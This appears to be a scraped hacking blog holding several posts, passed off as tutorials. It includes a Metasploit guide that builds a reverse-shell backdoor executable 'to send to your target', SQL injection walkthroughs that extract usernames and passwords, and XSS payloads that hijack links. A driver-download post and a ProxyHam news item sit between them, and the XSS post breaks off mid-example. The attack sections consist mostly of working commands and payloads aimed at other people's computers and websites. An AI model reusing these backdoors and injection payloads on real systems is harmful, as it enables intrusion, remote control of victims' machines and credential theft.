Fadu Hack

How To Hack Windows Users with Metasploits !

<div dir="ltr" style="text-align: left;" trbidi="on">
<div style="text-align: center;">
<img src="https://kevinkirsche.com/content/images/2015/07/msf.png" /></div>
<h3 style="text-align: left;">
Hacking Windows Users with Metasploit</h3>
Hi, welcome to Fadu Hack. Do you ever wanted to hack other’s computer in your life? If yes, well i’m here to help you. In this guide we are going to hack any Windows users by using Metasploit frameworks. Before we proceed, please read and understand these first.<br />
<h3 style="text-align: left;">
Metasploit</h3>
A computer security project that provides information about security vulnerabilities and aids in penetration testing and IDS signature development.<br />
<h3 style="text-align: left;">
Exploit</h3>
An exploit is the means by which an attacker, or pentester for that matter, takes  advantage of a flaw within a system, an application, or a service. An attacker  uses an exploit to attack a system in a way that results in a particular desired  outcome that the developer never intended. Common exploits include buffer  overflows, web application vulnerabilities (such as SQL injection), and configuration errors.<br />
<h3 style="text-align: left;">
Payload</h3>
A payload is code that we want the system to execute and that is to be selected  and delivered by the Framework. For example, a reverse shell is a payload that  creates a connection from the target machine back to the attacker as a Windows command prompt, whereas a bind shell is a payload that  “binds” a command prompt to a listening port on the target machine, which  the attacker can then connect. A payload could also be something as simple as  a few commands to be executed on the target operating system.<br />
<h3 style="text-align: left;">
Meterpreter</h3>
An advanced, dynamically extensible payload that uses in-memory DLL injection stagers and is extended over the network at runtime. It communicates over the stager socket and provides a comprehensive client-side Ruby API. It features command history, tab completion, channels, and more.<br />
<h3 style="text-align: left;">
Requirements</h3>
<br />
<ul style="text-align: left;">
<li><a href="http://www.backtrack-linux.org/downloads/">Pentesting Operating System</a> (I recommend Kali Linux)</li>
<li>Metasploit Framework (Already installed in most Security OS)</li>
<li>Basic knowledge</li>
</ul>
<h3 style="text-align: left;">
Preparing the Backdoor</h3>
<br />
<br />
<ul style="text-align: left;">
<li>Open up your Terminal and type in this command</li>
</ul>
<br />
<blockquote class="tr_bq">
root@kali:~#msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.2 LPORT=88 X>backdoor.exe</blockquote>
<br />
<ul style="text-align: left;">
<li>Once the process completed, send the backdoor to your target.</li>
</ul>
<br />
<h3 style="text-align: left;">
Explanation</h3>
The command will set the Payload for our backdoor as reverse tcp for Windows. The LHOST and LPORT is the Ip address and port you want the victim to connect to. Change the LHOST to your IP address in LAN(Local Area Network) and not public/external IP address. You can lookup your IP by typing into Terminal ifconfig. If you want to target people on WAN(Wide Area Network) /Internet you need to port foward first and then you can use your Public/external IP Address. Not to forget, the LPORT number is up to you what number you want to put as long as the port is not in use by other service.<br />
<h3 style="text-align: left;">
Prepare to Attack</h3>
<br />
<ul style="text-align: left;">
<li>Once again, open another terminal and type these commands</li>
</ul>
<br />
<blockquote class="tr_bq">
root@kali:~#service postgresql start<br />root@kali:~#service metasploit start</blockquote>
<br />
<ul style="text-align: left;">
<li>Or you can directly start the service by go to Application>Kali Linux>System Services>Metasploits>Start</li>
<li>After the initialization process completed, type msfconsole in the terminal. This will takes a moment.</li>
<li>Type in these command</li>
</ul>
<br />
<blockquote class="tr_bq">
msf > use exploit/multi/handler<br />msf exploit (handler) > set PAYLOAD windows/meterpreter/reverse_tcp<br />msf exploit (handler) > set LHOST your_ip_here<br />msf exploit (handler) > set LPORT your_port_here<br />msf exploit (handler) > exploit</blockquote>
<h3 style="text-align: left;">
Explanation</h3>
As you can see the service postgresql start and service metasploit start is to start the service. The command use exploit/multi/handler and set PAYLOAD windows/meterpreter/reverse_tcp means that we are going to use metasploit handler and the same exploit that we used to make our backdoor earlier. If you type show options, you will see the LHOST and LPORT are not set up correctly. That’s why we need to set the LHOST and LPORT again with the IP address and port that we use previously for our backdoor. Exploit? I hope you know what that command does.<br />
<h3 style="text-align: left;">
Attacking</h3>
<br />
<ul style="text-align: left;">
<li>Lets say we have hit a target, so you will see this coming out from your terminal</li>
</ul>
<br />
<blockquote class="tr_bq">
[*] Started reverse handler on 162.198.37.130:86<br />[*] Starting the payload handler …<br />[*] Sending stage (769024 bytes) to 162.198.37.134<br />[*] Meterpreter session 1 opened (162.198.37.130:86 -> 162.198.37.134:49280 at 2015-07-18<br />meterpreter></blockquote>
<br />
<ul style="text-align: left;">
<li>Once it says meterpreter session opened, you now can do anything as you like. For example see the Victim system info. Simply type in sysinfo in the terminal.</li>
<li>You also can download and upload files from/to Victim PC</li>
<li>For more commands, type in help and you will see bunch of commands</li>
</ul>
<br />
That’s all hope this helps! <img alt="😀" src="http://s.w.org/images/core/emoji/72x72/1f600.png" /></div>

How To Hack Windows Users with Metasploits !

Hacking Windows Users with Metasploit Hi, welcome to Fadu Hack. Do you ever wanted to hack other’s computer in your life? If yes, well ...

Error based injection With Double Query (Medium Level)

<div dir="ltr" style="text-align: left;" trbidi="on">
<div class="MsoNormal">
Today we can do <b>Error Based Injection</b> for that we can understand some SQL commands like Concat, Rand, As, Group By, Count, Floor.</div>
<div class="MsoNormal">
</div>
<ol style="text-align: left;">
<li>concat - joisn 2 or more strings/columns</li>
<li>group by - groups the data/rows according to the values ina specific columns to do futher calcuations on the grouped data</li>
<li>floor(x.y) - returns least interger value</li>
<li>rand( [x] ) - generates random number btw 0-1, if x is given the output will be same for all x</li>
<li>as - used to give temporary name to a columns in the output of a select command</li>
<li>count(column/*) - counts the number of NON-NULL rows in a column</li>
</ol>
<h3 style="text-align: left;">
Software Used :-</h3>
<blockquote class="tr_bq" style="text-align: left;">
DVWA (Vulnerable Web application) - (<a href="http://www.dvwa.co.uk/">Click Here</a>)<br />
FireFox - (<a href="http://partners.hostgator.com/c/147763/178153/3094">Click Here</a>)<br />
Hacker Bar - (<a href="https://addons.mozilla.org/en/firefox/addon/hackbar/">Click Here</a>) </blockquote>
<div class="MsoNormal">
<h3 style="text-align: left;">
ASCII Code :-</h3>
<div class="separator" style="clear: both; text-align: center;">
<img border="0" height="436" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhmFpxnXOgEqM8Wpx4FKMZqsDw6rFfbDv1GjQ_ijZBGlWGtxL_LB17CM0ASAYpXi0lkaNEVaENvCW-XckNx65-qWypiKO4z_orr0pqQbmjsCoK5IqC7x8-Vyilp9yhO2U6TN3fuBwPXilz9/s640/asciifull.gif" width="640" /></div>
<div>
<br /></div>
We can Do <b>MySQL - > double/stacked/sub query</b></div>
<div class="MsoNormal">
<b><br /></b></div>
<div class="MsoNormal" style="text-align: center;">
<span style="color: red;"><b>NOTE</b></span></div>
<div class="MsoNormal" style="text-align: center;">
<b>*** Base Query FOR double query injection***</b></div>
<blockquote class="tr_bq">
site.com/page.php?id=1 and (select 1 from (select count(*),concat(floor(rand(0)*2), 0x3a3a, (<any SQL query here>)) a from information_schema.tables group by a)b)</blockquote>
<h4 style="text-align: left;">
<b>Steps :-></b></h4>
<div>
<div class="MsoNormal">
Step 1: find dynamic page</div>
<blockquote class="tr_bq">
site.com/page.php?news=89</blockquote>
<div class="MsoNormal">
Step 2: apply ' to check if wesite gives MySQL error</div>
<blockquote class="tr_bq">
site.com/page.php?news=89' </blockquote>
<div class="MsoNormal">
You must see an error like:</div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
You have an error in you SQL syntax, check the manual that corresponds... MySQL ......</div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
Step 3: find the injection type</div>
<blockquote class="tr_bq">
ssite.com/page.php?news=89'--+</blockquote>
<div class="MsoNormal">
</div>
<ul style="text-align: left;">
<li>if page opens normally then injection type is string</li>
<li>if not try removing '</li>
<li>site.com/page.php?news=89--+</li>
<li>if works now then injection type is integer</li>
<li>if still dose not then try ", "), ') etc</li>
<li>if none works, try another link</li>
</ul>
Step 4: get the name of the database</div>
<blockquote class="tr_bq">
site.com/page.php?id=1 and (select 1 from (select
count(*),concat(floor(rand(0)*2), 0x3a3a, (database())) a from information_schema.tables
group by a)b)</blockquote>
<div class="MsoNormal">
<v:shapetype coordsize="21600,21600" filled="f" id="_x0000_t75" o:preferrelative="t" o:spt="75" path="m@4@5l@4@11@9@11@9@5xe" stroked="f">
 <v:stroke joinstyle="miter">
 <v:formulas>
  <v:f eqn="if lineDrawn pixelLineWidth 0">
  <v:f eqn="sum @0 1 0">
  <v:f eqn="sum 0 0 @1">
  <v:f eqn="prod @2 1 2">
  <v:f eqn="prod @3 21600 pixelWidth">
  <v:f eqn="prod @3 21600 pixelHeight">
  <v:f eqn="sum @0 0 1">
  <v:f eqn="prod @6 1 2">
  <v:f eqn="prod @7 21600 pixelWidth">
  <v:f eqn="sum @8 21600 0">
  <v:f eqn="prod @7 21600 pixelHeight">
  <v:f eqn="sum @10 21600 0">
 </v:f></v:f></v:f></v:f></v:f></v:f></v:f></v:f></v:f></v:f></v:f></v:f></v:formulas>
 <v:path gradientshapeok="t" o:connecttype="rect" o:extrusionok="f">
 <o:lock aspectratio="t" v:ext="edit">
</o:lock></v:path></v:stroke></v:shapetype><v:shape id="_x0000_i1025" style="height: 118.5pt; width: 468pt;" type="#_x0000_t75">
 <v:imagedata o:title="Untitled1" src="file:///C:\Users\JAIKUM~1\AppData\Local\Temp\msohtmlclip1\01\clip_image001.png">
</v:imagedata></v:shape><o:p></o:p></div>
<div class="MsoNormal">
<div class="separator" style="clear: both; text-align: center;">
<img border="0" height="153" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgeuhieZWhM3tr1fixsHpawntxoWs8D4ut8kohNy5hbrmjeOreCEK6BVdHDr6qSRzugkn9xwq9WWd0RQMyRtuURYhhdP6KCy9j4RUoU3pHSPO1jxXU1n8wrhrlCD30PPgYFMAZgPswMfigS/s640/Screenshot+%25284%2529.png" width="640" /></div>
</div>
<div class="MsoNormal">
Now you will get an error like :-</div>
<blockquote class="tr_bq">
Duplicate entry '1::<span style="color: red;">dvwa</span>' for key 'group_key'</blockquote>
<div class="MsoNormal">
in place of <span style="color: red;">dvwa</span> you will see the name of your database</div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
Step 5: get the names of the tables (assuming database name is dvwa)</div>
<blockquote class="tr_bq">
site.com/page.php?id=1 and (select 1 from (select
count(*),concat(floor(rand(0)*2), 0x3a3a, (select table_name from
information_schema.tables where table_schema=database() limit 0,1)) a from
information_schema.tables group by a)b)</blockquote>
<div class="MsoNormal">
<o:p></o:p></div>
<div class="MsoNormal">
<div class="separator" style="clear: both; text-align: center;">
<img border="0" height="154" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhP47XC2LRotUF9N3I6aqsnlUY-YIz13tUA04TqIJDYkpkoSctJsigbv_4NCWeO1gopVum7uRhgKCmpKQXoqZumoqNlOmaf2YDqhH_KlSIprbaFYCvpoakJIegqiyhsZGhFicfmAVNDdTv_/s640/Screenshot+%25285%2529.png" width="640" /></div>
</div>
<div class="MsoNormal">
this will give 1st table, for next table limit 1,1 and similarly for nth -> limit n-1,1</div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
<v:shape id="_x0000_i1027" style="height: 117pt; width: 468pt;" type="#_x0000_t75">
 <v:imagedata o:title="Untitled3" src="file:///C:\Users\JAIKUM~1\AppData\Local\Temp\msohtmlclip1\01\clip_image003.png">
</v:imagedata></v:shape><o:p></o:p></div>
<div class="MsoNormal">
Step 6: get the columns names from the juicy table (assuming table=users) *i use ASCII value or users</div>
<blockquote class="tr_bq">
site.com/page.php?id=1 and (select 1 from (select
count(*),concat(floor(rand(0)*2), 0x3a3a, (select column_name from
information_schema.columns where table_schema=database() and table_name =
char(117,115,101,114,115) limit 0,1)) a from information_schema.tables group by
a)b)</blockquote>
<div class="MsoNormal">
<div class="separator" style="clear: both; text-align: center;">
<img border="0" height="152" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEipBTwX6RCQNJfjy27IGEAJ140iOPPCsXQZp53_Nkmx7gYE7CbsyN_mEDKvByaRv4JoaTFOYpnGPwGdQU1pKnaa5k_oMB3613tZ1O8vOyM1B3XmknxrH0po7i0nTno1hImWPBPwb1GsGfPe/s640/Screenshot+%25286%2529.png" width="640" /></div>
for next columns limit 1,1 and similarly for nth -> limit n-1,1<br />
<br /></div>
<div class="MsoNormal">
Step 7: get the data from the juicy columns (assuming columns=user,password)</div>
<div class="MsoNormal">
<blockquote class="tr_bq">
site.com/page.php?id=1 and (select 1 from (select
count(*),concat(floor(rand(0)*2), 0x3a3a, (select concat(user,0x2d2d,password)
from dvwa.users limit 3,1) ) a from information_schema.tables group by a)b)</blockquote>
<div class="separator" style="clear: both; text-align: center;">
<img border="0" height="152" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjE5qiR81L5A4HfOs646h8dmgy4fkok7iAsvDybARYNBX-E64WuWtgkVBdfR09JJy-TlLo2XeWJtZLXrtPKI7GDv6wlRdobia4nKyoGFAHexKPlUhIRVcUw2WFqz1PC3WjXBbMZ6h7fS4Fk/s640/Screenshot+%25288%2529.png" width="640" /></div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
If you like this post then please like our FACEBOOK page and Subscribe our YouTube Channel</div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
<span style="color: red;">NOTE:- Please Do note use this information for bad work. </span>:)</div>
<div class="separator" style="clear: both; text-align: left;">
Thanks :) :)</div>
</div>
</div>

Error based injection With Double Query (Medium Level)

Today we can do Error Based Injection for that we can understand some SQL commands like Concat, Rand, As, Group By, Count, Floor. co...

All In One Drivers Pack - DriverPack Solution 15.7 Full + DriverPack's 15.06.5 [Updated]

<div dir="ltr" style="text-align: left;" trbidi="on">
DriverPack Solution is the most popular program that makes the job of finding and automatically installing drivers a pleasure. It simplifies the process of reinstalling Windows on any computer. No more problems with searching and installing drivers. Everything will be done in a couple of mouse clicks!<br />
<div class="separator" style="clear: both; text-align: center;">
<img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgHxp6ExGuiXTdeEyPpqTxka6OruIHtMjFOSPRqsTfrJeWTZ-btI6NDgJ4JY_RwiTpvuiSu_uZxqnWetfoWXmBjgI-UsfYGBkX2F1XakQtirNu5v6zHgBkbU6Dj9f70lWMNSLzFlzJd_lWu/s1600/All-in-one-driverspack.png" /></div>
<div class="separator" style="clear: both; text-align: right;">
<span style="color: red;">FOR PARTICULAR NOTEBOOK DRIVER</span></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/proxy/AVvXsEgeMZiSW99Yxzo1stdC__1a4FIpHdhDKfZN1UYl_cNZiD0gykdI0R5utx5uTO1Q-Vhl23nUbPb9WsYq4Ch8YSZaaV2d15ZCCR3tBmum0ASnzz-pW1TguYwcoWlU53sHsz2NgiYp1HWw6ve11vIUNa4TRTC41ExIoHqLd3wPrWcxyzb26h0jUJi96_xQ5xBuuZdgBkMxfWs4jgXbzDvW8-BP4T9iUsHJWjkrTo2_R5kDNx7QpLUDays5utw1_2HDKUda9Fn-J7cok5Tv84xZGTUbygVUOOsA-GvWbMXtTLSANXmL=" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"><img border="0" src="http://cdn.mysitemyway.com/etc-mysitemyway/icons/legacy-previews/icons-256/glowing-green-neon-icons-arrows/110964-glowing-green-neon-icon-arrows-arrow4-down.png" /></a></div>
<h3>
FEATURES</h3>
<ul style="text-align: left;">
<li>Automated driver installation</li>
<li>Saves Time and money</li>
<li>Any driver for any computer</li>
<li>Drivers update capability</li>
<li>Windows XP / Vista / 7 / 8 / 8.1(32-bit and 64-bit)</li>
<li>Easy to use</li>
<li>Customizable</li>
<li>Distributed for FREE</li>
</ul>
<h3 style="text-align: left;">
DOWNLOAD</h3>
<h4 style="text-align: left;">
Latest Full Editions</h4>
<ul style="text-align: left;">
<li><a href="http://download.drp.su/DRP-Full.torrent">DriverPack Solution 15.7</a> (iso via Torrent, 10.3 GB)</li>
<li><a href="http://download.drp.su/DRP14.torrent">DriverPack Solution 15.5</a> (iso via Torrent, 9.72 GB)</li>
<li><a href="http://download.drp.su/DRP-zip.torrent">DriverPack Solution 15.4.12</a> (zip via Torrent, 9.58 GB)</li>
<li><a href="http://download.drp.su/DRP-iso.torrent">DriverPack Solution 15.4.12</a> (iso via Torrent, 9.73 GB)</li>
<li><a href="http://download.drp.su/DRP-files.torrent">DriverPack Solution 15.4.12</a> (as it is via Torrent, 9.74 GB)</li>
<li><a href="http://download.drp.su/DRP15.torrent">DriverPack Solution 15.4</a> (zip via Torrent, 9.54 GB)</li>
</ul>
<h4 style="text-align: left;">
DVD Editions</h4>
<ul style="text-align: left;">
<li><a href="http://download.drp.su/DRP15DVD.torrent">DriverPack Solution 15.4 DVD Edition</a> (iso, 4.36 GB) [Torrent]</li>
<li><a href="http://download.drp.su/DRP14DVD.torrent">DriverPack Solution 14.2 DVD Edition</a> (iso, 4.37 GB) [Torrent]</li>
</ul>
<h4 style="text-align: left;">
Online Edition</h4>
<ul style="text-align: left;">
<li><a href="http://download.drp.su/online/DriverPack-Online_629942289.1427550731.exe">DriverPack Solution 15.4</a> Beta Online (Portable EXE, 14.7 MB)</li>
<li><a href="http://download2.drp.su/online/DriverPack-Online_2125941569.1432747118.exe">DriverPack Online</a> 16 (7.33 MB)</li>
</ul>
DriverPack Online version downloads only required drivers. Recommended for a user with slow internet connection or individual user.<br />
<br />
Whereas, DriverPack Full is the jumbo collection of almost all essential drivers in the form of ISO image. It is executable with or without DVD/Blue-ray disk. You can install the drivers from the USB drive. Recommended for professionals and industrial users.<br />
<h3 style="text-align: left;">
<a href="https://blogger.googleusercontent.com/img/proxy/AVvXsEi9GMII6BTFFWnLCb1QsMw7uWj_2g54iCROTJds_ypv0NiOrgrUrQ8ivbL0bqeZV-Of2KoWOE4F8P7Xl4OcYaswBTJNBz6-XER1t524nI-PFed-6MDOVpkvr3WV1Xjv2gEy6SeGvcbnyqArdgWHrpoi-kH5Gkn6_DdI=" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"><img border="0" height="200" src="http://www.clipartbest.com/cliparts/Rid/R6b/RidR6bqBT.png" width="200" /></a>
DOWNLOAD DRIVERS FOR NOTEBOOKS</h3>
<ul style="text-align: left;">
<li>Drivers for notebooks <a href="http://drp.su/drivers/notebooks/?v=Acer&l=en">Acer</a></li>
<li>Drivers for notebooks <a href="http://drp.su/drivers/notebooks/?v=ASUS&l=en">ASUS</a></li>
<li>Drivers for notebooks <a href="http://drp.su/drivers/notebooks/?v=HP&l=en">HP</a></li>
<li>Drivers for notebooks <a href="http://drp.su/drivers/notebooks/?v=Dell&l=en">Dell</a></li>
<li>Drivers for notebooks <a href="http://drp.su/drivers/notebooks/?v=MSI&l=en">MSI</a></li>
<li>Drivers for notebooks <a href="http://drp.su/drivers/notebooks/?v=Samsung&l=en">Samsung</a></li>
<li>Drivers for notebooks <a href="http://drp.su/drivers/notebooks/?v=Toshiba&l=en">Toshiba</a></li>
<li>Drivers for notebooks <a href="http://drp.su/drivers/notebooks/?v=Sony&l=en">Sony</a></li>
<li>Drivers for notebooks <a href="http://drp.su/drivers/notebooks/?v=Lenovo&l=en">Lenovo</a></li>
<li>Drivers for notebooks <a href="http://drp.su/drivers/notebooks/?v=Fujitsu%20Siemens&l=en">Fujitsu Siemens</a></li>
<li>Drivers for notebooks <a href="http://drp.su/drivers/notebooks/?v=Fujitsu&l=en">Fujitsu</a></li>
<li>Drivers for notebooks <a href="http://drp.su/drivers/notebooks/?v=eMachines&l=en">eMachines</a></li>
<li>Drivers for notebooks <a href="http://drp.su/drivers/notebooks/?v=BenQ&l=en">BenQ</a></li>
<li>Drivers for notebooks <a href="http://drp.su/drivers/notebooks/?v=Notebook&l=en">Notebook</a></li>
<li>Drivers for notebooks <a href="http://drp.su/drivers/notebooks/?v=IBM&l=en">IBM</a></li>
<li>Drivers for notebooks <a href="http://drp.su/drivers/notebooks/?v=Apple&l=en">Apple</a></li>
<li>Drivers for notebooks <a href="http://drp.su/drivers/notebooks/?v=Intel&l=en">Intel</a></li>
<li>Drivers for notebooks <a href="http://drp.su/drivers/notebooks/?v=LG&l=en">LG</a></li>
<li>Drivers for notebooks <a href="http://drp.su/drivers/notebooks/?v=Compaq&l=en">Compaq</a></li>
<li>Drivers for notebooks <a href="http://drp.su/drivers/notebooks/?v=Packard%20Bell&l=en">Packard Bell</a></li>
<li>Drivers for notebooks <a href="http://drp.su/drivers/notebooks/?v=Clevo&l=en">Clevo</a></li>
<li>Drivers for notebooks <a href="http://drp.su/drivers/notebooks/?v=Medion&l=en">Medion</a></li>
<li>Drivers for notebooks <a href="http://drp.su/drivers/notebooks/?v=K-Systems&l=en">K-Systems</a></li>
<li>Drivers for notebooks <a href="http://drp.su/drivers/notebooks/?v=Gigabyte&l=en">Gigabyte</a></li>
<li>Drivers for notebooks <a href="http://drp.su/drivers/notebooks/?v=SiS&l=en">SiS</a></li>
<li>Drivers for notebooks <a href="http://drp.su/drivers/notebooks/?v=Gateway&l=en">Gateway</a></li>
<li>Drivers for notebooks <a href="http://drp.su/drivers/notebooks/?v=Depo&l=en">Depo</a></li>
<li>Drivers for notebooks <a href="http://drp.su/drivers/notebooks/?v=NEC&l=en">NEC</a></li>
<li>Drivers for notebooks <a href="http://drp.su/drivers/notebooks/?v=Gericom&l=en">Gericom</a></li>
<li>Drivers for notebooks <a href="http://drp.su/drivers/notebooks/?v=Matsushita&l=en">Matsushita</a></li>
</ul>
</div>

All In One Drivers Pack - DriverPack Solution 15.7 Full + DriverPack's 15.06.5 [Updated]

DriverPack Solution is the most popular program that makes the job of finding and automatically installing drivers a pleasure. It simplifie...

Raspberry Pi Based Device Provides Anonymous WiFi which can send signal upto 2.5 miles

<div dir="ltr" style="text-align: left;" trbidi="on">
<div style="background-color: white; border: 0px; font-stretch: inherit; margin-bottom: 1em; padding: 0px; text-align: left; vertical-align: baseline;">
<div style="text-align: center;">
<img alt="proxyham-raspberry-pi-anonymous-wifi" height="379" src="http://d2brer6wwumtdu.cloudfront.net/wp-content/uploads/2015/07/02161655/proxyham-raspberry-pi-anonymous-wifi.jpg" width="640" /></div>
<span style="font-family: Ubuntu, Arial, sans-serif;"><span style="font-size: 18px; line-height: 28.7999992370605px;">IP address is the most important thing for tracing any person in cyber world.If         the person hunting you gets to know your IP address, it means you are done.       But, Ben Caudill has made a device that will put your final IP address 2.5 miles     away.</span></span><br />
<span style="font-family: Ubuntu, Arial, sans-serif;"><span style="font-size: 18px; line-height: 28.7999992370605px;">So if a person or group monitors on you and get your IP address,They will come on the sceneand he will  find a ProxyHam device transmitting WiFi signal.</span></span><br />
<span style="font-family: Ubuntu, Arial, sans-serif;"><span style="font-size: 18px; line-height: 28.7999992370605px;">According to Caudill, technologies like Tor and its alternatives could provide anonymity but the flaws still exists i.e. a direct connection between your IP address and physical location. So, if your IP address is discovered, everything is over for you.This is where ProxyHam comes into play. It acts a “hardware proxy” that routes local traffic through a distant WiFi network. Thus, detecting the true traffic source becomes more difficult.</span></span><br />
<div style="text-align: center;">
<img alt="proxyham-raspberry-pi-anonymous-wifi-" height="407" src="http://d2brer6wwumtdu.cloudfront.net/wp-content/uploads/2015/07/02161649/proxyham-raspberry-pi-anonymous-wifi-.jpg" width="640" /></div>
<span style="font-family: Ubuntu, Arial, sans-serif; font-size: 18px; line-height: 28.7999992370605px;">At Def Con, the device will be demonstrated and the full code along with hardware specifications will be made freely available. This comprises of a WiFi enabled Raspberry Pi computer with three antennas. One is used to connect to a source WiFi network (some public WiFi) and the other two are used to transmit the signal at 900 MHz frequency. The users would have to plug a 900 MHz antenna to their computer to pick up the signal.</span><br />
<span style="font-family: Ubuntu, Arial, sans-serif;"><span style="font-size: 18px; line-height: 28.7999992370605px;">Caudill tells Motherboard: “We consider this the last or worst case scenario, the absolute fallback plan if everything else fails.”</span></span></div>
</div>

Raspberry Pi Based Device Provides Anonymous WiFi which can send signal upto 2.5 miles

IP address is the most important thing for tracing any person in cyber world.If the person hunting you gets to know your IP addr...

Class Union Based Injection (100% Working)

<div dir="ltr" style="text-align: left;" trbidi="on">
<a href="https://blogger.googleusercontent.com/img/proxy/AVvXsEhhIGp37fUqRR5-ojEVpBegr0i_PMAYkM4iKo1nKky2AIvp-yq-VY6q3aDWqmPTiMnRA33hPmg9jXmYKJoJD9YtDzw2uKoQ5a1405u7Vx7QGqOviZM1gDqvtLvPG47wDMSi2wwSqv38jqnB3eH6DPX8t3MHytuqI1yXKPaz-uk=" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"><img border="0" height="320" src="http://sqlity.net/wp-content/uploads/2014/08/SQL_Injection.jpg" width="320" /></a><br />
Union Based  Injection : Union based injection is an advance attack which targets the website's database unlike the front. Hand like bypass authentication method which we covered last time.<br />
The idea is to fetch the username and password of the website from admin,user or this kind of table from the database and use these credentials to login in the website.<br />
<br />
<b>We can do whole process on DVWA</b><br />
<h4 style="text-align: left;">
Steps Of  Union Base Injection</h4>
Step 1: Find any GET Method in the Website.<br />
<blockquote class="tr_bq">
GET : .php?id=10        POST : .php</blockquote>
<blockquote class="tr_bq">
http://127.0.0.1/dvwa/dvwa/vulnerabilities/sqli/?id=10&Submit=Submit#</blockquote>
Step 2: Check exception handling in the website.<br />
<blockquote class="tr_bq">
http://127.0.0.1/dvwa/dvwa/vulnerabilities/sqli/?id=10&Submit=Submit#</blockquote>
Step 3: Check total number of columns in the respective table.<br />
<blockquote class="tr_bq">
http://127.0.0.1/dvwa/dvwa/vulnerabilities/sqli/?id=10' order by 1 --+Submit=Submit#</blockquote>
Step 4: Select a vulnerable column from the table.<br />
<blockquote class="tr_bq">
http://127.0.0.1/dvwa/dvwa/vulnerabilities/sqli/?id=1' union all select 1,2--+ &Submit=Submit#</blockquote>
Step 5: Check the database name<br />
<blockquote class="tr_bq">
http://127.0.0.1/dvwa/dvwa/vulnerabilities/sqli/?id=1' union all select database(),2--+ &Submit=Submit#</blockquote>
Step 6: Check the Version of the database.<br />
<blockquote class="tr_bq">
http://127.0.0.1/dvwa/dvwa/vulnerabilities/sqli/?id=1' union all select version(),2--+ &Submit=Submit#</blockquote>
Step 7: Check the total number of tables in the database<br />
<blockquote class="tr_bq">
http://127.0.0.1/dvwa/dvwa/vulnerabilities/sqli/?id=1' union all select 1,table_name from information_schema.tables --+ &Submit=Submit#</blockquote>
Target Table : users<br />
<br />
Step 8 : Get the columns of the tabel users<br />
<blockquote class="tr_bq">
http://127.0.0.1/dvwa/dvwa/vulnerabilities/sqli/?id=1' union all select 1,column_name from information_schema.columns--+ &Submit=Submit#</blockquote>
where table_name='users'--+ &Submit=Submit#<br />
<br />
Target Columns : user and password<br />
<br />
Step 9 : Get the content of the user and password<br />
<blockquote class="tr_bq">
http://127.0.0.1/dvwa/dvwa/vulnerabilities/sqli/?id=1' union all select user,password from users--+</blockquote>
</div>

Class Union Based Injection (100% Working)

Union Based Injection : Union based injection is an advance attack which targets the website's database unlike the front. Hand like b...

XSS Attack Examples (Cross-Site Scripting Attacks)

<div dir="ltr" style="text-align: left;" trbidi="on">
<div style="text-align: center;">
<img src="http://virus.im/wp-content/uploads/2014/01/Xss-virus.jpg" /></div>
In this article we will see a different kind of attack called XXS attacks.<br />
<ul style="text-align: left;">
<li><b>XSS stands for Cross Site Scripting.</b></li>
</ul>
XSS is very similar to SQL-Injection. In SQL-Injection we exploited the vulnerability by injecting SQL Queries as user inputs. In XSS, we inject code (basically client side scripting) to the remote server.<br />
<h2 style="text-align: left;">
Types of Cross Site Scripting</h2>
<h3 style="text-align: left;">
XSS attacks are broadly classified into 2 types:</h3>
<ol style="text-align: left;">
<li>Non-Persistent</li>
<li>Persistent</li>
</ol>
<h4 style="text-align: left;">
1. Non-Persistent XSS Attack</h4>
In case of Non-Persistent attack, it requires a user to visit the specially crafted link by the attacker. When the user visit the link, the crafted code will get executed by the user’s browser. Let us understand this attack better with an example.<br />
<br />
<b>Example for Non-Persistent XSS</b><br />
<br />
index.php:<br />
<blockquote class="tr_bq">
<?php<br />
$name = $_GET['name'];<br />
echo "Welcome $name<br>";<br />
echo "<a href="http://xssattackexamples.com/">Click to Download</a>";<br />
?></blockquote>
Example 1:<br />
Now the attacker will craft an URL as follows and send it to the victim:<br />
<blockquote class="tr_bq">
index.php?name=guest<script>alert('attacked')</script></blockquote>
When the victim load the above URL into the browser, he will see an alert box which says ‘attacked’. Even though this example doesn’t do any damage, other than the annoying ‘attacked’ pop-up, you can see how an attacker can use this method to do several damaging things.<br />
<br />
Example 2:<br />
For example, the attacker can now try to change the “Target URL” of the link “Click to Download”. Instead of the link going to “xssattackexamples.com” website, he can redirect it to go “not-real-xssattackexamples.com” by crafting the URL as shown below:<br />
<blockquote class="tr_bq">
index.php?name=<script>window.onload = function() {var link=document.getElementsByTagName("a");link[0].href="http://not-real-xssattackexamples.com/";}</script></blockquote>
In the above, we called the function to execute on “window.onload”. Because the website (i.e index.php) first echos the given name and then only it draws the <a> tag. So if we write directly like the one shown below, it will not work, because those statements will get executed before the <a> tag is echoed<br />
<blockquote class="tr_bq">
index.php?name=<script>var link=document.getElementsByTagName("a");link[0].href="http://not-real-xssattackexamples.com"</script></blockquote>
Normally an attacker tends not to craft the URL which a human can directly read. So he will encode the ASCII characters to hex as follows.<br />
<blockquote class="tr_bq">
